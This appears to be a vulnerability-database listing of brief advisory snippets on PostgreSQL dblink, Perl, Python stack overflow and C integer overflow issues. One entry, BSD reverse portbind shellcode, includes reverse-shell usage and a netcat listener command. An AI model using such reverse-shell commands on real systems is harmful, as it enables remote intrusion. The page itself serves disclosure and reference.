Design/Logic Flaw

The Database Link library dblink in PostgreSQL 8.1 implements functions via CREATE statements that map to arbitrary libraries based on the C programming language, which allows remote authenticated superusers to map and execute a function from any library, as demonstrated by using the system...

Integer overflow:attack

Digital Scream January, 2003 Integer overflow: attack Hello! Recently, the number of people involved in IT security has grown significantly. Consequently, there was a breakthrough in the implementation of some attacks... And that is why this article is about a new type of Integer Overflow attack...

Important: Red Hat Security Advisory: perl security update

Updated Perl packages that fix security a security issue are now available for Red Hat Enterprise Linux 4. This update has been rated as having important security impact by the Red Hat Security Response Team. Perl is a high-level programming language commonly used for system administration...

Stack overflow

Stack-based buffer overflow in Python 2.4.2 and earlier, running on Linux 2.6.12.5 under gcc 4.0.3 with libc 2.3.5, allows local users to cause a "stack overflow," and possibly gain privileges, by running a script from a current working directory that has a long name, related to the realpath...

CVE-2006-1542

Stack-based buffer overflow in Python 2.4.2 and earlier, running on Linux 2.6.12.5 under gcc 4.0.3 with libc 2.3.5, allows local users to cause a "stack overflow," and possibly gain privileges, by running a script from a current working directory that has a long name, related to the realpath...

RHEL 4 : perl (RHSA-2005:880)

Updated Perl packages that fix security issues and bugs are now available for Red Hat Enterprise Linux 4. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Perl is a high-level programming language commonly used for system administration utilitie...

Low: Red Hat Security Advisory: perl security update

Updated Perl packages that fix security issues and contain several bug fixes are now available for Red Hat Enterprise Linux 4. This update has been rated as having low security impact by the Red Hat Security Response Team. Perl is a high-level programming language commonly used for system...

Important: Red Hat Security Advisory: perl security update

Updated Perl packages that fix several security issues are now available for Red Hat Enterprise Linux 4. This update has been rated as having important security impact by the Red Hat Security Response Team Perl is a high-level programming language commonly used for system administration utilities...

Perl: Insecure temporary file creation

Background Perl is a stable, cross-platform programming language created by Larry Wall. Description Some Perl modules create temporary files in world-writable directories with predictable names. Impact A local attacker could create symbolic links in the temporary files directory, pointing to a...

bsd/x86 reverse portbind 129 bytes

Exploit for bsd/x86 platform in category shellcode ================================== bsd/x86 reverse portbind 129 bytes ================================== / reverse-portshell BSD shellcode by noir / / local usage: ./reverse-shell 192.168.2.33 / / remote: nc -n -v -v -l -p 6969 / / listen on...

RUS-CERT Advisory 2002-08:01: Incorrect integer overflow detection in C code

Incorrect integer overflow detection in C code A widely used method of detecting integer overflows results in undefined behavior according to the C standard. Who Should Read This Document This advisory deals with with details of the C programming language. It is targeted at C programmers. Systems...